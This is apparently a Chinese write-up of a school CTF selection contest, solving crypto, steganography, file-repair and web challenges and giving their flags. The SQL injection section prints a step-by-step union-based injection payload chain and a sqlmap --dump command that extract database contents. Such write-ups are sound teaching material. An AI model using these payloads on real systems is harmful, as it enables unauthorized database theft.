文章目录

前言CRYPTO[HFNU 选拔赛] 签到![HFNU 选拔赛] easy_caeser[HFNU 选拔赛] easy_Affine

MISC[HFNU 选拔赛] IU_beauty?[HFNU 选拔赛] 眼睛不用可以捐掉[HFNU 选拔赛] 损坏的png

Web[HFNU 选拔赛] 你能打几只?[HFNU 选拔赛] SQL injection在这里插入图片描述

总结

前言

[HFNU 校级选拔] 已经结束,接下来一起了解下题目是怎么做的

CRYPTO

[HFNU 选拔赛] 签到!

打开base64.txt后,有一串编码,很明显是base64编码,直接解码即可

得到flag:flag{Welcome-to-HFNU}

[HFNU 选拔赛] easy_caeser

打开文件后,是一串社会核心价值观编码,我们进行在线解码

然后得到字符串mshn{jhlzly6_cl1yf_lhz1f},根据题目名可知这是凯撒密码,因为第一个字符应该是’f’,所以偏移量为7,我们编写脚本来解密

txt = "mshn{jhlzly6_cl1yf_lhz1f}"

flag = ""

for ch in txt:

if ch.isalpha():

flag += chr(ord('a') + (ord(ch) - 7 - ord('a')) % 26)

else:

flag += ch

print(flag)

# 输出:flag{caeser6_ve1ry_eas1y}

[HFNU 选拔赛] easy_Affine

打开文件发现一串编码,我们进行解码

得到cwuo{gucq_mc_qucw2w2} ,解码步骤:base64 > base32 ,这里提一下base64和base32的区别,base32中的字母全为大写字母

根据文件里的 The last step is affine cryptography !可知,最后一步为仿射密码,两个key即为文件名中的12,20,我们用在线解密网站解密,得到flag:flag{bafe_if_eafl1l1}

MISC

[HFNU 选拔赛] IU_beauty?

题目是一张IU的照片,我们用binwalk查看下文件结构 发现照片里藏着zip文件,那这题是经典的图片分离,我们用 -e 参数分离照片

得到两个zip文件,其中一个有密码,另一个则是base.txt

这明显就是密码,我们进行base64解码(一般后面有两个==就是base64编码),得到love_iu_ever,果然是另一个压缩包的密码,解压后得到flag:flag{iu_1s_very_11l1}

[HFNU 选拔赛] 眼睛不用可以捐掉

题目给的是一个zip文件和一张图片,发现zip有密码,那密码只能在图片上找了

发现图片有备注,有一串字符,应该是zip的密码

解压后有一串摩斯密码,我们在线解密后得到flag:flag{HFNU-EASY-EASY-MORSECODE}

[HFNU 选拔赛] 损坏的png

题目给的是一个没有后缀名的文件,我们用010 editor打开,发现png文件头不全,给它补好

我们加上.png的后缀名后打开,是一张电量图片,并没有发现藏有文件,那么可以猜测是lsb隐写

用Stegsolve打开该图片,我们勾选RGB的0后发现隐写的flag:NSSCTF{Wlec0me_to_NiSa2022 }

Web

[HFNU 选拔赛] 你能打几只?

打开网页后是个前端的打兔子游戏,既然是前端就好办了,找他的js文件进行分析 按f12,发现有js文件,那么肯定有一个函数是通关显示flag的,我们ctrl + f 搜索NSSCTF后即可看见flag:NSSCTF{50b5d57d-9610-4420-a673-bb70ab6cb340}

[HFNU 选拔赛] SQL injection

这题是sql注入,参数是wllm,那我们按基础的思路来:

先检测注入点然后联合注入脱库然后依次拿数据库名,表名,列名,flag ?wllm=1’ and 1=1–+?wllm=1’ and 1=2–+ //检测注入点?wllm=1’ order by 3–+ //判断字段?wllm=1’ and 1=2 union select 1,2,3–+?wllm=1’ and 1=2 union select 1,version(),database()–+ //查下版本和数据库名?wllm=1’ and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘test_db’–+ //查表名?wllm=1’ and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘test_tb’–+ //查列名?wllm=1’ and 1=2 union select 1,2,group_concat(flag) from test_tb–+ //拿到flag

另解:这题是最基础的sql注入,除了手工注入外,我们可以用sqlmap直接跑,也能拿到flag

sqlmap -u "http://node4.anna.nssctf.cn:28734/?wllm=1" --dump

总结

以上就是本次比赛的write up,题目并不难,可以说其实是非常基础的CTF题。本次比赛感谢NSSCTF平台模拟了较为真实的赛场体验,距离网络分布式省赛还有一个月多的时间,希望大家可以多多练习,争取省赛拿到一个好名次,加油!

相关文章

评论可见,请评论后查看内容,谢谢!!!
 您阅读本篇文章共花了: